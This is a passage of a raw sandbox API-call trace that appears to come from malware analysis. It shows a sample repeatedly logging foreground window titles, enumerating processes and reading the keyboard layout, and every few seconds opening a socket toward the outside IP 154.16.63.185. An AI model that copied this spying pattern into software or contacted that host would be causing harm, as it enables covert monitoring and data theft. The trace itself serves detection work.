hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.512] GetForegroundWindow () returned 0x101a2 [0194.512] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.574] GetForegroundWindow () returned 0x101a2 [0194.574] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.638] GetForegroundWindow () returned 0x100f6 [0194.638] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0194.638] EnumProcesses (in: lpidProcess=0x251176c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x251176c, lpcbNeeded=0x562f77c) returned 1 [0194.639] GetLastError () returned 0x0 [0194.639] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623140, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623140, ResultLength=0x562f740*=0x8ee8) returned 0x0 [0194.642] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0194.642] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0194.699] GetForegroundWindow () returned 0x101a2 [0194.699] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0194.699] EnumProcesses (in: lpidProcess=0x2523290, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2523290, lpcbNeeded=0x562f77c) returned 1 [0194.699] GetLastError () returned 0x0 [0194.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8ee8) returned 0x0 [0194.715] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0194.715] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.777] GetForegroundWindow () returned 0x101a2 [0194.777] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.839] GetForegroundWindow () returned 0x101a2 [0194.839] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.902] GetForegroundWindow () returned 0x101a2 [0194.902] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.964] GetForegroundWindow () returned 0x100f6 [0194.964] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0194.964] EnumProcesses (in: lpidProcess=0x238622c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x238622c, lpcbNeeded=0x562f77c) returned 1 [0194.964] GetLastError () returned 0x0 [0194.965] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3329a00, ResultLength=0x562f740*=0x8f28) returned 0x0 [0194.969] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0194.969] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0195.026] GetForegroundWindow () returned 0x101a2 [0195.026] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0195.026] EnumProcesses (in: lpidProcess=0x2397dbc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2397dbc, lpcbNeeded=0x562f77c) returned 1 [0195.027] GetLastError () returned 0x0 [0195.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3349a20, ResultLength=0x562f740*=0x8f28) returned 0x0 [0195.032] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0195.032] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.089] GetForegroundWindow () returned 0x101a2 [0195.089] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.151] GetForegroundWindow () returned 0x101a2 [0195.151] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.213] GetForegroundWindow () returned 0x101a2 [0195.214] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.276] GetForegroundWindow () returned 0x100f6 [0195.276] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0195.276] EnumProcesses (in: lpidProcess=0x23aa154, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23aa154, lpcbNeeded=0x562f77c) returned 1 [0195.277] GetLastError () returned 0x0 [0195.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33a1eb0, ResultLength=0x562f740*=0x8f28) returned 0x0 [0195.282] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0195.282] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0195.341] GetForegroundWindow () returned 0x101a2 [0195.341] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0195.341] EnumProcesses (in: lpidProcess=0x23bbd88, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23bbd88, lpcbNeeded=0x562f77c) returned 1 [0195.342] GetLastError () returned 0x0 [0195.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33c1ed0, ResultLength=0x562f740*=0x8f68) returned 0x0 [0195.345] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0195.345] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.407] GetForegroundWindow () returned 0x101a2 [0195.407] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.463] GetForegroundWindow () returned 0x101a2 [0195.463] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.541] GetForegroundWindow () returned 0x101a2 [0195.541] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.666] GetForegroundWindow () returned 0x100f6 [0195.666] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0195.666] EnumProcesses (in: lpidProcess=0x23ceaf8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ceaf8, lpcbNeeded=0x562f77c) returned 1 [0195.667] GetLastError () returned 0x0 [0195.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33e1ef0, ResultLength=0x562f740*=0x8f68) returned 0x0 [0195.670] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0195.670] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0199.769] inet_addr (cp="154.16.63.185") returned 0xb93f109a [0199.769] GetLastError () returned 0x0 [0199.769] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec [0199.770] GetLastError () returned 0x0 [0199.770] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0199.770] GetLastError () returned 0x0 [0199.770] bind (s=0x2ec, addr=0x2404660*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0199.770] GetLastError () returned 0x0 [0199.800] GetForegroundWindow () returned 0x101a2 [0199.800] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0199.800] EnumProcesses (in: lpidProcess=0x2404740, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2404740, lpcbNeeded=0x562f77c) returned 1 [0199.800] GetLastError () returned 0x3e5 [0199.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3461f70, ResultLength=0x562f740*=0x8f68) returned 0x0 [0199.804] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0199.804] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.865] GetForegroundWindow () returned 0x101a2 [0199.865] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.926] GetForegroundWindow () returned 0x101a2 [0199.926] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.988] GetForegroundWindow () returned 0x101a2 [0199.988] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.050] GetForegroundWindow () returned 0x100f6 [0200.050] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0200.050] EnumProcesses (in: lpidProcess=0x2416b98, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2416b98, lpcbNeeded=0x562f77c) returned 1 [0200.050] GetLastError () returned 0x3e5 [0200.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3482f90, ResultLength=0x562f740*=0x8f28) returned 0x0 [0200.053] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0200.053] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0200.113] GetForegroundWindow () returned 0x101a2 [0200.113] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0200.113] EnumProcesses (in: lpidProcess=0x2428728, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2428728, lpcbNeeded=0x562f77c) returned 1 [0200.114] GetLastError () returned 0x3e5 [0200.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34a2fb0, ResultLength=0x562f740*=0x8f28) returned 0x0 [0200.124] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0200.125] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.175] GetForegroundWindow () returned 0x101a2 [0200.175] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.238] GetForegroundWindow () returned 0x101a2 [0200.238] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.299] GetForegroundWindow () returned 0x101a2 [0200.299] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.362] GetForegroundWindow () returned 0x100f6 [0200.362] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0200.362] EnumProcesses (in: lpidProcess=0x243aac0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x243aac0, lpcbNeeded=0x562f77c) returned 1 [0200.362] GetLastError () returned 0x3e5 [0200.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34c2fd0, ResultLength=0x562f740*=0x8f28) returned 0x0 [0200.365] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0200.365] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0200.424] GetForegroundWindow () returned 0x101a2 [0200.424] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0200.424] EnumProcesses (in: lpidProcess=0x244c650, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x244c650, lpcbNeeded=0x562f77c) returned 1 [0200.424] GetLastError () returned 0x3e5 [0200.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34e2ff0, ResultLength=0x562f740*=0x8f28) returned 0x0 [0200.427] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0200.427] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.486] GetForegroundWindow () returned 0x101a2 [0200.486] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.549] GetForegroundWindow () returned 0x101a2 [0200.549] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.611] GetForegroundWindow () returned 0x101a2 [0200.611] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.675] GetForegroundWindow () returned 0x100f6 [0200.675] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0200.675] EnumProcesses (in: lpidProcess=0x245e9e8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x245e9e8, lpcbNeeded=0x562f77c) returned 1 [0200.676] GetLastError () returned 0x3e5 [0200.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3503010, ResultLength=0x562f740*=0x8f28) returned 0x0 [0200.687] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0200.687] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0200.736] GetForegroundWindow () returned 0x101a2 [0200.736] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0200.736] EnumProcesses (in: lpidProcess=0x2470578, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2470578, lpcbNeeded=0x562f77c) returned 1 [0200.736] GetLastError () returned 0x3e5 [0200.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3523030, ResultLength=0x562f740*=0x8f28) returned 0x0 [0200.740] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0200.740] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.799] GetForegroundWindow () returned 0x101a2 [0200.800] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.862] GetForegroundWindow () returned 0x101a2 [0200.862] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0200.923] GetForegroundWindow () returned 0x101a2 [0200.923] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0201.002] GetForegroundWindow () returned 0x100f6 [0201.002] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0201.002] EnumProcesses (in: lpidProcess=0x2482910, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2482910, lpcbNeeded=0x562f77c) returned 1 [0201.003] GetLastError () returned 0x3e5 [0201.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3543050, ResultLength=0x562f740*=0x8f28) returned 0x0 [0201.015] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0201.016] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0205.041] inet_addr (cp="154.16.63.185") returned 0xb93f109a [0205.041] GetLastError () returned 0x3e5 [0205.041] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec [0205.042] GetLastError () returned 0x0 [0205.042] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0205.042] GetLastError () returned 0x0 [0205.042] bind (s=0x2ec, addr=0x24b6e24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0205.042] GetLastError () returned 0x0 [0205.057] GetForegroundWindow () returned 0x101a2 [0205.057] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.120] GetForegroundWindow () returned 0x101a2 [0205.120] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.182] GetForegroundWindow () returned 0x101a2 [0205.182] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.244] GetForegroundWindow () returned 0x101a2 [0205.244] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.307] GetForegroundWindow () returned 0x100f6 [0205.307] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0205.307] EnumProcesses (in: lpidProcess=0x24b79f8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24b79f8, lpcbNeeded=0x562f77c) returned 1 [0205.307] GetLastError () returned 0x3e5 [0205.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35a30b0, ResultLength=0x562f740*=0x8da8) returned 0x0 [0205.310] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0205.310] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0205.369] GetForegroundWindow () returned 0x101a2 [0205.370] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0205.370] EnumProcesses (in: lpidProcess=0x24c9300, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24c9300, lpcbNeeded=0x562f77c) returned 1 [0205.370] GetLastError () returned 0x3e5 [0205.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30d0, ResultLength=0x562f740*=0x8da8) returned 0x0 [0205.376] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0205.376] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.433] GetForegroundWindow () returned 0x101a2 [0205.433] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.494] GetForegroundWindow () returned 0x101a2 [0205.494] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.556] GetForegroundWindow () returned 0x101a2 [0205.556] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.619] GetForegroundWindow () returned 0x100f6 [0205.619] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0205.619] EnumProcesses (in: lpidProcess=0x24db410, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24db410, lpcbNeeded=0x562f77c) returned 1 [0205.619] GetLastError () returned 0x3e5 [0205.620] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e30f0, ResultLength=0x562f740*=0x8da8) returned 0x0 [0205.625] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0205.625] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0205.681] GetForegroundWindow () returned 0x101a2 [0205.681] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0205.681] EnumProcesses (in: lpidProcess=0x24ecd18, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24ecd18, lpcbNeeded=0x562f77c) returned 1 [0205.682] GetLastError () returned 0x3e5 [0205.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603110, ResultLength=0x562f740*=0x8da8) returned 0x0 [0205.685] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0205.685] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.743] GetForegroundWindow () returned 0x101a2 [0205.743] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.807] GetForegroundWindow () returned 0x101a2 [0205.807] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.868] GetForegroundWindow () returned 0x101a2 [0205.869] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0205.931] GetForegroundWindow () returned 0x100f6 [0205.931] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0205.931] EnumProcesses (in: lpidProcess=0x24fee28, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24fee28, lpcbNeeded=0x562f77c) returned 1 [0205.931] GetLastError () returned 0x3e5 [0205.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623130, ResultLength=0x562f740*=0x8d68) returned 0x0 [0205.935] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0205.935] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0205.993] GetForegroundWindow () returned 0x101a2 [0205.993] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0205.993] EnumProcesses (in: lpidProcess=0x25106c4, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x25106c4, lpcbNeeded=0x562f77c) returned 1 [0205.994] GetLastError () returned 0x3e5 [0206.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8ce8) returned 0x0 [0206.005] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0206.005] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.056] GetForegroundWindow () returned 0x101a2 [0206.056] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.118] GetForegroundWindow () returned 0x101a2 [0206.118] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.184] GetForegroundWindow () returned 0x101a2 [0206.184] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.244] GetForegroundWindow () returned 0x100f6 [0206.244] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0206.244] EnumProcesses (in: lpidProcess=0x23856dc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23856dc, lpcbNeeded=0x562f77c) returned 1 [0206.245] GetLastError () returned 0x3e5 [0206.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3329a00, ResultLength=0x562f740*=0x8ca8) returned 0x0 [0206.259] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0206.260] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0210.315] inet_addr (cp="154.16.63.185") returned 0xb93f109a [0210.315] GetLastError () returned 0x3e5 [0210.315] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec [0210.315] GetLastError () returned 0x0 [0210.315] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0210.315] GetLastError () returned 0x0 [0210.315] bind (s=0x2ec, addr=0x23a8988*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0210.315] GetLastError () returned 0x0 [0210.316] GetForegroundWindow () returned 0x101a2 [0210.316] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.403] GetForegroundWindow () returned 0x101a2 [0210.403] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.465] GetForegroundWindow () returned 0x101a2 [0210.465] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.535] GetForegroundWindow () returned 0x101a2 [0210.535] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.598] GetForegroundWindow () returned 0x100f6 [0210.598] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0210.598] EnumProcesses (in: lpidProcess=0x23a9508, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23a9508, lpcbNeeded=0x562f77c) returned 1 [0210.599] GetLastError () returned 0x3e5 [0210.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33c1ed0, ResultLength=0x562f740*=0x8be8) returned 0x0 [0210.603] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0210.603] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0210.657] GetForegroundWindow () returned 0x101a2 [0210.657] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0210.657] EnumProcesses (in: lpidProcess=0x23ba9dc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ba9dc, lpcbNeeded=0x562f77c) returned 1 [0210.658] GetLastError () returned 0x3e5 [0210.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33e1ef0, ResultLength=0x562f740*=0x8be8) returned 0x0 [0210.661] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0210.662] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.720] GetForegroundWindow () returned 0x101a2 [0210.720] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.784] GetForegroundWindow () returned 0x101a2 [0210.784] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: 